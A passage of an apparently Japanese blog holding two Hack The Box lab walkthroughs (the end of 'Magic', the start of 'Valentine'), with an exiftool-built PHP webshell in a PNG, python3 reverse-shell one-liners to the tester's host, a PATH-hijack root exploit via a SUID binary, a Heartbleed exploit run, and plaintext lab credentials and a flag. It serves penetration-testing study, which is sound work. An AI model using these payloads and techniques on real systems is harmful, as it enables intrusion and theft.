|_  256 71:05:99:1f:a8:1b:14:d6:03:85:53:f8:78:8e:cb:88 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Magic Portfolio
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 37.57 seconds

22(ssh)、80(http)が開いている。 ※nmap -p- 10.10.10.185も実行し、ポート検出の漏れがないことを確認。

ブラウザで80番にアクセス

左下にあるloginをクリックするとlogin.phpに遷移できる。 f:id:Paichan:20200911234328p:plain

ディレクトリスキャン

txtとphpを拡張子に指定し、ディレクトリスキャン。Hack the boxでは、txtを指定するといいものが見つかることが多い。

root@kali:~# gobuster dir -u http://10.10.10.185 -w /usr/share/dirb/wordlists/common.txt -x .txt,.php -t 100
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.185
[+] Threads:        100
[+] Wordlist:       /usr/share/dirb/wordlists/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     txt,php
[+] Timeout:        10s
===============================================================
2020/08/22 08:47:33 Starting gobuster
===============================================================
/.hta (Status: 403)
/.hta.txt (Status: 403)
/.hta.php (Status: 403)
/assets (Status: 301)
/.htaccess (Status: 403)
/.htaccess.txt (Status: 403)
/.htaccess.php (Status: 403)
/.htpasswd (Status: 403)
/.htpasswd.txt (Status: 403)
/.htpasswd.php (Status: 403)
/.sh_history (Status: 403)
/.sh_history.txt (Status: 403)
/.sh_history.php (Status: 403)
/images (Status: 301)
/index.php (Status: 200)
/index.php (Status: 200)
/logout.php (Status: 302)
/login.php (Status: 200)
/server-status (Status: 403)
/upload.php (Status: 302)
===============================================================
2020/08/22 08:48:09 Finished
===============================================================

upload.phpが気になる。

webページの探索

login.php

f:id:Paichan:20200911234452p:plain

upload.php

login.phpにリダイレクトされる。ログインする必要がある。

usernameパラメータへのSQLインジェクション

login.phpにアクセスするために、SQLインジェクションを試行する。 入力フォームからはスペースが入れられなかったので、Burpを使う。

usernameパラメータにSQLインジェクションを試行し、ログイン成功。 f:id:Paichan:20200911234854p:plain

ログインに成功すると、uploda.phpに飛ばされる。 upload.phpは以下のような画面。 f:id:Paichan:20200911234925p:plain 画像ファイル(jpg、jpegpng)がアップロードできる。

ファイルアップロード

ファイルアップロードといったらwebshell。以下のページを参考にした。 File upload bypass - Hacker's Grimoire

abc.pngにコメントを追加。ウェブシェル。

root@kali:~/magic# exiftool -Comment='<?php system($_GET['cmd']); ?>' abc.png 
    1 image files updated

コメントが入ったかを確認。

root@kali:~/magic# exiftool abc.png
ExifTool Version Number         : 12.04
File Name                       : abc.png
Directory                       : .
File Size                       : 1062 bytes
File Modification Date/Time     : 2020:08:22 09:19:26+09:00
File Access Date/Time           : 2020:08:22 09:19:26+09:00
File Inode Change Date/Time     : 2020:08:22 09:19:26+09:00
File Permissions                : rwxrw-rw-
File Type                   webl    : PNG
File Type Extension             : png
MIME Type                       : image/png
Image Width                     : 91
Image Height                    : 70
Bit Depth                       : 8
Color Type                      : RGB
Compression                     : Deflate/Inflate
Filter                          : Adaptive
Interlace                       : Noninterlaced
SRGB Rendering                  : Perceptual
Gamma                           : 2.2
Pixels Per Unit X               : 5669
Pixels Per Unit Y               : 5669
Pixel Units                     : meters
Comment                         : <?php system($_GET[cmd]); ?> 
Image Size                      : 91x70
Megapixels                      : 0.006
root@kali:~/magic# mv abc.png abc.php.png

Commentに挿入されていることを確認できる。これをアップロード。 f:id:Paichan:20200911235522p:plain

アップロードされた場所を探す

この画像ファイル(webshell機能有り)にアクセスするためには、画像ファイルがアップロードされたパスを特定する必要がある。
トップページのソースを見たら/images/uploads配下のから画像取ってきていたため、ここに画像がアップロードされていると予想。 f:id:Paichan:20200911235734p:plain 発見。

リバースシェル獲得

Reverse Shell Cheat Sheet | pentestmonkey を参考にする。

攻撃者側で待ち受けた状態で以下にアクセスすると、シェルが返ってくる。(python2だと反応がなかったので、python3を指定)

http://10.10.10.185/images/uploads/abc.php.png?cmd=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
root@kali:~/magic# nc -lvp 1234
listening on [any] 1234 ...
10.10.10.185: inverse host lookup failed: Unknown host
connect to [10.10.14.14] from (UNKNOWN) [10.10.10.185] 47080
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

bashを使う。

$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@ubuntu:/var/www/Magic/images/uploads$ ls -l /home
ls -l /home
total 4
drwxr-xr-x 15 theseus theseus 4096 Apr 16 02:58 theseus

theseusというユーザがいる。このユーザになれればuser.txtが取得できる。

userシェル取得まで

webサービスを起動しているユーザ(www-data)から/home配下にいるユーザになるためには、データベース系のファイルを参照することがヒントになることが多い。
今回もいつも通りで、db.php5にtheseusのユーザ名とパスワードを発見。

www-data@ubuntu:/var/www/Magic$ ls
ls
assets  db.php5  images  index.php  login.php  logout.php  upload.php
www-data@ubuntu:/var/www/Magic$ cat db.php5
cat db.php5
<?php
class Database
{
    private static $dbName = 'Magic' ; ★データベース名
    private static $dbHost = 'localhost' ;
    private static $dbUsername = 'theseus'; ★データベースユーザ名
    private static $dbUserPassword = 'iamkingtheseus'; ★パスワード

    private static $cont  = null;

    public function __construct() {
        die('Init function is not allowed');
    }
(snip)
}

mysqlコマンドは存在せず。suも実行したが、失敗。

www-data@ubuntu:/var/www/Magic$ su theseus
su theseus
Password: iamkingtheseus

su: Authentication failure

少し調べると、mysqldumpが使えそうだ。 このコマンド、オプションと文字列の間にスペースを入れないぽい。-pの後にスペースを入れると、再度パスワードが聞かれた。

www-data@ubuntu:/var/www/Magic$ mysqldump --databases Magic -utheseus -piamkingtheseus 
<qldump --databases Magic -utheseus -piamkingtheseus
mysqldump: [Warning] Using a password on the command line interface can be insecure.

(snip)
--
-- Current Database: `Magic`
--

CREATE DATABASE /*!32312 IF NOT EXISTS*/ `Magic` /*!40100 DEFAULT CHARACTER SET latin1 */;

USE `Magic`;

--
-- Table structure for table `login`
--

DROP TABLE IF EXISTS `login`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `login` (
  `id` int(6) NOT NULL AUTO_INCREMENT,
  `username` varchar(50) NOT NULL,
  `password` varchar(100) NOT NULL,
  PRIMARY KEY (`id`),
  UNIQUE KEY `username` (`username`)
) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `login`
--

LOCK TABLES `login` WRITE;
/*!40000 ALTER TABLE `login` DISABLE KEYS */;
INSERT INTO `login` VALUES (1,'admin','Th3s3usW4sK1ng'); ★パスワードらしきもの発見
/*!40000 ALTER TABLE `login` ENABLE KEYS */;
UNLOCK TABLES;
mysqldump: Got error: 1044: Access denied for user 'theseus'@'localhost' to database 'iamkingtheseus' when selecting the database

ここで発見したパスワードを使ってtheseusユーザになれた。

www-data@ubuntu:/var/www/Magic$ su theseus
su theseus
Password: Th3s3usW4sK1ng

theseus@ubuntu:/var/www/Magic$ id
id
uid=1000(theseus) gid=1000(theseus) groups=1000(theseus),100(users)

権限昇格のための情報収集

sudoの権限確認から。

theseus@ubuntu:/var/www/Magic$ sudo -l
sudo -l
[sudo] password for theseus: Th3s3usW4sK1ng                  

Sorry, user theseus may not run sudo on ubuntu.

sudoは使えない。SUIDの調査。

theseus@ubuntu:/var/www/Magic$ find / -perm -4000 -type f 2>/dev/null
find / -perm -4000 -type f 2>/dev/null
/usr/sbin/pppd
/usr/bin/newgrp
(snip)
/snap/core/7917/usr/lib/snapd/snap-confine
/snap/core/7917/usr/sbin/pppd
/bin/umount
/bin/fusermount
/bin/sysinfo
/bin/mount
/bin/su
/bin/ping

sysinfoコマンドが気になる。実行。

theseus@ubuntu:/var/www/Magic$ sysinfo
sysinfo
====================Hardware Info====================
H/W path           Device      Class      Description
=====================================================
                               system     VMware Virtual Platform
/0                             bus        440BX Desktop Reference Platform
/0/0                           memory     86KiB BIOS
/0/1                           processor  AMD EPYC 7401P 24-Core Processor
/0/1/0                         memory     16KiB L1 cache
/0/1/1                         memory     16KiB L1 cache
/0/1/2                         memory     512KiB L2 cache

(snip)  

====================Disk Info====================
Disk /dev/loop0: 160.2 MiB, 167931904 bytes, 327992 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes


Disk /dev/loop1: 956 KiB, 978944 bytes, 1912 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes


Disk /dev/loop2: 89.1 MiB, 93454336 bytes, 182528 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes

(snip)

====================CPU Info==================== 
processor       : 0
vendor_id       : AuthenticAMD
cpu family      : 23
model           : 1
model name      : AMD EPYC 7401P 24-Core Processor
stepping        : 2
microcode       : 0x8001230
cpu MHz         : 2000.000
cache size      : 512 KB
physical id     : 0
siblings        : 1
core id         : 0
cpu cores       : 1
apicid          : 0
initial apicid  : 0
fpu             : yes
fpu_exception   : yes
cpuid level     : 13
wp              : yes
flags           : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 syscall nx mmxext fxsr_opt pdpe1gb rdtscp lm constant_tsc rep_good nopl tsc_reliable nonstop_tsc cpuid extd_apicid pni pclmulqdq ssse3 fma cx16 sse4_1 sse4_2 x2apic movbe popcnt aes xsave avx f16c rdrand hypervisor lahf_lm extapic cr8_legacy abm sse4a misalignsse 3dnowprefetch osvw ssbd ibpb vmmcall fsgsbase bmi1 avx2 smep bmi2 rdseed adx smap clflushopt sha_ni xsaveopt xsavec xsaves clzero arat overflow_recov succor
bugs            : fxsave_leak sysret_ss_attrs null_seg spectre_v1 spectre_v2 spec_store_bypass
bogomips        : 4000.00
TLB size        : 2560 4K pages
clflush size    : 64
cache_alignment : 64
address sizes   : 43 bits physical, 48 bits virtual
power management:

(snip)

====================MEM Usage=====================
              total        used        free      shared  buff/cache   available
Mem:           3.8G        573M        2.0G        6.2M        1.3G        3.0G
Swap:          947M          0B        947M

いくつかのコマンドの実行結果を結合してように見える。 stringsしたところ、、sysinfo内で実行されているコマンドが確認できた。

theseus@ubuntu:/bin$ strings sysinfo
strings sysinfo
(snip)
====================Hardware Info====================
lshw -short
====================Disk Info====================
fdisk -l
====================CPU Info====================
cat /proc/cpuinfo
====================MEM Usage=====================
free -h
(snip)

rootシェル取得まで

sysinfoを実行することで、以下4つのコマンドが実行されていることが分かった。
・lshw
・fdisk
・cat /proc/cpuinfo
・free

/tmpにlshwというファイルを用意し、パスの優先順位を変え、sysinfo実行時には作成したlshwを実行させるようにする。 lshwという名前のファイルに、リバースシェルを埋め込んでおく。

theseus@ubuntu:/tmp$ echo python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.12",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' > lshw
<o(),2);p=subprocess.call(["/bin/sh","-i"]);' > lshw
theseus@ubuntu:/tmp$ chmod 777 lshw
chmod 777 lshw

sysinfo実行。

theseus@ubuntu:/tmp$ sysinfo
sysinfo
====================Hardware Info====================
/tmp/lshw: 1: /tmp/lshw: Syntax error: "(" unexpected
(snip)

/tmp/lshwを実行してくれているが、エラーがでる。ここが解決できず、このマシンがActiveのときにrootのポイントが取れなかった。 その後、以下のようにヒアドキュメントを使って一行ずつ書き込むんで対応した。

theseus@ubuntu:/tmp$ cat << EOF > lshw
cat << EOF > lshw
> python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
<;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
> s.connect(("10.10.14.12",4444))
s.connect(("10.10.14.12",4444))
> os.dup2(s.fileno(),0)
os.dup2(s.fileno(),0)
> os.dup2(s.fileno(),1)
os.dup2(s.fileno(),1)
> os.dup2(s.fileno(),2)
os.dup2(s.fileno(),2)
> p=subprocess.call(["/bin/sh","-i"])'
p=subprocess.call(["/bin/sh","-i"])'
> EOF
EOF
theseus@ubuntu:/tmp$ chmod 777 lshw
chmod 777 lshw
theseus@ubuntu:/tmp$ sysinfo

これでrootのシェルをゲット。

root@kali:~# nc -lvp 4444
listening on [any] 4444 ...
10.10.10.185: inverse host lookup failed: Unknown host                 
connect to [10.10.14.12] from (UNKNOWN) [10.10.10.185] 60590             
# id                                                      
uid=0(root) gid=0(root) groups=0(root),100(users),1000(theseus)  

後から別の人のwalkthroughを見てもヒアドキュメントを使わずにrootのシェルを取得していた。ここはまだ解決できていない。

【Hack The Box】Valentine Walkthrough

はじめに

  • マシン名:Valentine
  • OS:Linux
  • 目標:user.txtとroot.txtの中身の取得
  • ターゲットIPアドレス:10.10.10.79

ポートスキャン

root@kali:~# nmap -sC -sV -Pn 10.10.10.79
Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-25 14:41 JST
Nmap scan report for 10.10.10.79
Host is up (0.25s latency).
Not shown: 997 closed ports
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 96:4c:51:42:3c:ba:22:49:20:4d:3e:ec:90:cc:fd:0e (DSA)
|   2048 46:bf:1f:cc:92:4f:1d:a0:42:b3:d2:16:a8:58:31:33 (RSA)
|_  256 e6:2b:25:19:cb:7e:54:cb:0a:b9:ac:16:98:c6:7d:a9 (ECDSA)
80/tcp  open  http     Apache httpd 2.2.22 ((Ubuntu))
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
443/tcp open  ssl/http Apache httpd 2.2.22 ((Ubuntu))
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=valentine.htb/organizationName=valentine.htb/stateOrProvinceName=FL/countryName=US
| Not valid before: 2018-02-06T00:45:25
|_Not valid after:  2019-02-06T00:45:25
|_ssl-date: 2020-07-25T05:45:17+00:00; +3m21s from scanner time.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: 3m20s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 31.30 seconds

22(ssh)、80(http)、443(https)が空いている。
※nmap -p- 10.10.10.79も実行し、ポート検出漏れしていないかも確認。

ブラウザでアクセス

80、443ポート共に以下のような画像が表示される。 f:id:Paichan:20200807171622p:plain

ディレクトリスキャン

80番、443番ポート両方に実行。結果は同じ。

root@kali:~# gobuster dir -u https://10.10.10.79 -w /usr/share/dirb/wordlists/common.txt -k -t 100
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            https://10.10.10.79
[+] Threads:        100
[+] Wordlist:       /usr/share/dirb/wordlists/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/07/25 15:00:15 Starting gobuster
===============================================================
/.hta (Status: 403)
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/cgi-bin/ (Status: 403)
/decode (Status: 200)
/dev (Status: 301)
/encode (Status: 200)
/index (Status: 200)
/index.php (Status: 200)
/server-status (Status: 403)
===============================================================
2020/07/25 15:00:33 Finished
===============================================================

/decodedevencodeあたりが気になる。

443ポートにNSE(vuln)を実行

過去のマシンで443ポートが開いていたマシンは記憶にないので、まずは試しにNSE(vuln)を実行してみた。

root@kali:~# nmap --script vuln -p 443 10.10.10.79
Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-25 14:58 JST
Nmap scan report for 10.10.10.79
Host is up (0.25s latency).

PORT    STATE SERVICE
443/tcp open  https
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum: 
|   /dev/: Potentially interesting directory w/ listing on 'apache/2.2.22 (ubuntu)'
|_  /index/: Potentially interesting folder
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
| ssl-ccs-injection: 
|   VULNERABLE:
|   SSL/TLS MITM vulnerability (CCS Injection)
|     State: VULNERABLE
|     Risk factor: High
|       OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h
|       does not properly restrict processing of ChangeCipherSpec messages,
|       which allows man-in-the-middle attackers to trigger use of a zero
|       length master key in certain OpenSSL-to-OpenSSL communications, and
|       consequently hijack sessions or obtain sensitive information, via
|       a crafted TLS handshake, aka the "CCS Injection" vulnerability.
|           
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0224
|       http://www.openssl.org/news/secadv_20140605.txt
|_      http://www.cvedetails.com/cve/2014-0224
| ssl-heartbleed: 
|   VULNERABLE:
|   The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption.
|     State: VULNERABLE
|     Risk factor: High
|       OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves.
|           
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
|       http://cvedetails.com/cve/2014-0160/
|_      http://www.openssl.org/news/secadv_20140407.txt 
| ssl-poodle: 
|   VULNERABLE:
|   SSL POODLE information leak
|     State: VULNERABLE
|     IDs:  CVE:CVE-2014-3566  BID:70574
|           The SSL protocol 3.0, as used in OpenSSL through 1.0.1i and other
|           products, uses nondeterministic CBC padding, which makes it easier
|           for man-in-the-middle attackers to obtain cleartext data via a
|           padding-oracle attack, aka the "POODLE" issue.
|     Disclosure date: 2014-10-14
|     Check results:
|       TLS_RSA_WITH_AES_128_CBC_SHA
|     References:
|       https://www.openssl.org/~bodo/ssl-poodle.pdf
|       https://www.imperialviolet.org/2014/10/14/poodle.html
|       https://www.securityfocus.com/bid/70574
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3566
|_sslv2-drown: 

Nmap done: 1 IP address (1 host up) scanned in 63.46 seconds

heartbleedがvulnerableと検出される。なるほど、だからあのページ画像か。

【参考】Heartbleed

以前shockerというマシンでのshellshockと同様、この脆弱性についても名前は聞いたことがあったが、具体的なところまで把握できていなかったため調べた。
※shockerのwalkthroughは以下。 paichan-it.hatenablog.com

Heartbleedとは

攻撃者がプログラムのメモリ内にある情報を取得できる、OpenSSLの脆弱性。メモリ内にある機微な情報などが窃取される可能性がある。

仕組み

SSL接続時にクライアントとサーバの生存確認のために「Heartbeat」と呼ばれる機能が行われる。
クライアント→サーバにHeartbeatが送られると、サーバは送ったデータをそのまま返すが、故意に長いデータを返すように要求することで、
本来返ってくるべきデータ(Heartbeatでサーバに送ったデータ)以外のデータも含めて返してしまうというもの。
Heartbeatで送ったデータサイズと、要求するデータサイズの検証が正しくできていなかったため、こういった問題が生じたとのこと。
以下のサイトで理解した。

Webページの探索

ディレクトリスキャンで見つけたページを探索していく。

/dev/notes.txt

f:id:Paichan:20200807172824p:plain

/dev/hype_key

f:id:Paichan:20200807172847p:plain

/encode

f:id:Paichan:20200807172916p:plain

/decode

f:id:Paichan:20200807172934p:plain

エクスプロイトコード探し

searchesploitheartbleedのエクスプロイトコードを探す。

root@kali:~/valentine# searchsploit heartbleed
------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                                     |  Path
------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
OpenSSL 1.0.1f TLS Heartbeat Extension - 'Heartbleed' Memory Disclosure (Multiple SSL/TLS Versions)                                                                | multiple/remote/32764.py
OpenSSL TLS Heartbeat Extension - 'Heartbleed' Information Leak (1)                                                                                                | multiple/remote/32791.c
OpenSSL TLS Heartbeat Extension - 'Heartbleed' Information Leak (2) (DTLS Support)                                                                                 | multiple/remote/32998.c
OpenSSL TLS Heartbeat Extension - 'Heartbleed' Memory Disclosure                                                                                                   | multiple/remote/32745.py
------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

一番下のものを持ってくる。(一番汎用的な名前の物を持ってくるようにしている)
※補足:一番上の物でも動いた。2、3番目のものは試していない。

root@kali:~/valentine# searchsploit -m 32745
  Exploit: OpenSSL TLS Heartbeat Extension - 'Heartbleed' Memory Disclosure
      URL: https://www.exploit-db.com/exploits/32745
     Path: /usr/share/exploitdb/exploits/multiple/remote/32745.py
File Type: Python script, ASCII text executable, with CRLF line terminators

Copied to: /root/valentine/32745.py

エクスプロイトコード実行

まずは使い方を確認。

root@kali:~/valentine# python 32745.py 
Usage: 32745.py server [options]

Test for SSL heartbeat vulnerability (CVE-2014-0160)

Options:
  -h, --help            show this help message and exit
  -p PORT, --port=PORT  TCP port to test (default: 443)

ターゲットを指定するだけのようだ。

root@kali:~/valentine# python 32745.py 10.10.10.79
Connecting...
Sending Client Hello...
Waiting for Server Hello...
 ... received message: type = 22, ver = 0302, length = 66
 ... received message: type = 22, ver = 0302, length = 885
 ... received message: type = 22, ver = 0302, length = 331
 ... received message: type = 22, ver = 0302, length = 4
Sending heartbeat request...
 ... received message: type = 24, ver = 0302, length = 16384
Received heartbeat response:
  0000: 02 40 00 D8 03 02 53 43 5B 90 9D 9B 72 0B BC 0C  .@....SC[...r...
  0010: BC 2B 92 A8 48 97 CF BD 39 04 CC 16 0A 85 03 90  .+..H...9.......
  0020: 9F 77 04 33 D4 DE 00 00 66 C0 14 C0 0A C0 22 C0  .w.3....f.....".
  0030: 21 00 39 00 38 00 88 00 87 C0 0F C0 05 00 35 00  !.9.8.........5.
  0040: 84 C0 12 C0 08 C0 1C C0 1B 00 16 00 13 C0 0D C0  ................
  0050: 03 00 0A C0 13 C0 09 C0 1F C0 1E 00 33 00 32 00  ............3.2.
  0060: 9A 00 99 00 45 00 44 C0 0E C0 04 00 2F 00 96 00  ....E.D...../...
  0070: 41 C0 11 C0 07 C0 0C C0 02 00 05 00 04 00 15 00  A...............
  0080: 12 00 09 00 14 00 11 00 08 00 06 00 03 00 FF 01  ................
  0090: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00  ..I...........4.
  00a0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00  2...............
  00b0: 0A 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00  ................
  00c0: 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0F 00  ................
  00d0: 10 00 11 00 23 00 00 00 0F 00 01 01 30 2E 30 2E  ....#.......0.0.
  00e0: 31 2F 64 65 63 6F 64 65 2E 70 68 70 0D 0A 43 6F  1/decode.php..Co
  00f0: 6E 74 65 6E 74 2D 54 79 70 65 3A 20 61 70 70 6C  ntent-Type: appl
  0100: 69 63 61 74 69 6F 6E 2F 78 2D 77 77 77 2D 66 6F  ication/x-www-fo
  0110: 72 6D 2D 75 72 6C 65 6E 63 6F 64 65 64 0D 0A 43  rm-urlencoded..C
  0120: 6F 6E 74 65 6E 74 2D 4C 65 6E 67 74 68 3A 20 34  ontent-Length: 4
  0130: 32 0D 0A 0D 0A 24 74 65 78 74 3D 61 47 56 68 63  2....$text=aGVhc
  0140: 6E 52 69 62 47 56 6C 5A 47 4A 6C 62 47 6C 6C 64  nRibGVlZGJlbGlld
  0150: 6D 56 30 61 47 56 6F 65 58 42 6C 43 67 3D 3D 2A  mV0aGVoeXBlCg==*
  0160: 42 E0 4F CD 42 AC 27 C9 08 9D 71 7C 4B CE 33 17  B.O.B.'...q|K.3.
  0170: 7C BD 8A 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C  |...............
  (snip)

base64エンコードされていると思われるデータが返ってきた。 $text=aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==
デコードしてみる。

root@kali:~/valentine# echo "aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==" | base64 -d
heartbleedbelievethehype

heartbleedbelievethehypeという文字列が出力された。何かのパスワード?メモしておく。

hype_keyの調査

ディレクトリスキャンで見つけた/dev配下にあったhype_keyを詳しく見ていく。
まずはローカルに持ってくる。

root@kali:~/valentine# curl -O https://10.10.10.79/dev/hype_key -k
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  5383  100  5383    0     0   4228      0  0:00:01  0:00:01 --:--:--  4225

CyberChefFrom Hexでデコードできた。ヘッダーの内容から、RSA秘密鍵のようだ。
rsa_keyというファイル名で出力する。これを使ってssh接続できそうだ。 f:id:Paichan:20200807174507p:plain

ssh接続

hype_keyというファイル名から、ユーザ名hypeと予想できる。先ほどデコードした秘密鍵を使ってssh接続する。

root@kali:~/valentine# ssh hype@10.10.10.79 -i rsa_key 
load pubkey "rsa_key": invalid format
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@         WARNING: UNPROTECTED PRIVATE KEY FILE!          @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Permissions 0744 for 'rsa_key' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key "rsa_key": bad permissions
hype@10.10.10.79's password: 

permissionエラーがでる。調べると、秘密鍵パーミッションは600に設定する必要があるらしい。(基礎的なことだと思うが、知らないことばっかりだ・・・) permissionを変更すると、接続できた。
パスフレーズは先ほど見つけたheartbleedbelievethehypeだった。

root@kali:~/valentine# chmod 600 rsa_key 
root@kali:~/valentine# ssh hype@10.10.10.79 -i rsa_key 
load pubkey "rsa_key": invalid format
Enter passphrase for key 'rsa_key': 
Welcome to Ubuntu 12.04 LTS (GNU/Linux 3.2.0-23-generic x86_64)

 * Documentation:  https://help.ubuntu.com/

New release '14.04.5 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Last login: Fri Feb 16 14:50:29 2018 from 10.10.14.3
hype@Valentine:~$ 

user.txt取得

デスクトップにあるuser.txtを取得。

hype@Valentine:~$ ls
Desktop  Documents  Downloads  Music  Pictures  Public  Templates  Videos
hype@Valentine:~$ cd Desktop/
hype@Valentine:~/Desktop$ ls
user.txt
hype@Valentine:~/Desktop$ cat user.txt 
e6710a5464769fd5fcd216e076961750

権限昇格のための情報取集

sudoはhypeのパスワードが求められ、SUIDが設定されているものでは、権限昇格に使えそうなものがない。

hype@Valentine:~$ sudo -l
[sudo] password for hype: 
Sorry, try again.
[sudo] password for hype: 
sudo: 1 incorrect password attempt
hype@Valentine:~$ 
hype@Valentine:~$ find / -perm -4000 -type f 2>/dev/null
/bin/su
/bin/fusermount
/bin/umount
/bin/ping
/bin/ping6
/bin/mount
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/pt_chown
/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
/usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/bin/pkexec
/usr/bin/sudoedit
/usr/bin/X
/usr/bin/newgrp
/usr/bin/lppasswd
/usr/bin/mtr
/usr/bin/chsh
/usr/bin/arping
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/at
/usr/bin/chfn
/usr/bin/traceroute6.iputils
/usr/bin/gpasswd
/usr/sbin/uuidd
/usr/sbin/pppd

続いて、カーネルのバージョンを確認する。

hype@Valentine:~$ uname -a
Linux Valentine 3.2.0-23-generic #36-Ubuntu SMP Tue Apr 10 20:39:51 UTC 2012 x86_64 x86_64 x86_64 GNU/Linux

現在は、5.Xが最新のようなので、古い。何らかの脆弱性がないか確認する。

カーネル脆弱性(エクスプロイトコード)探し

root@kali:~# searchsploit linux kernel 3.2
------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                                     |  Path
------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
BSD/Linux Kernel 2.3 (BSD/OS 4.0 / FreeBSD 3.2 / NetBSD 1.4) - Shared Memory Denial of Service                                                                     | bsd/dos/19423.c
Linux Kernel (Solaris 10 / < 5.10 138888-01) - Local Privilege Escalation                                                                                          | solaris/local/15962.c
Linux Kernel 2.0/2.1 (Digital UNIX 4.0 D / FreeBSD 2.2.4 / HP HP-UX 10.20/11.0 / IBM AIX 3.2.5 / NetBSD 1.2 / Solaris 2.5.1) - Smurf Denial of Service             | bsd/dos/19117.c
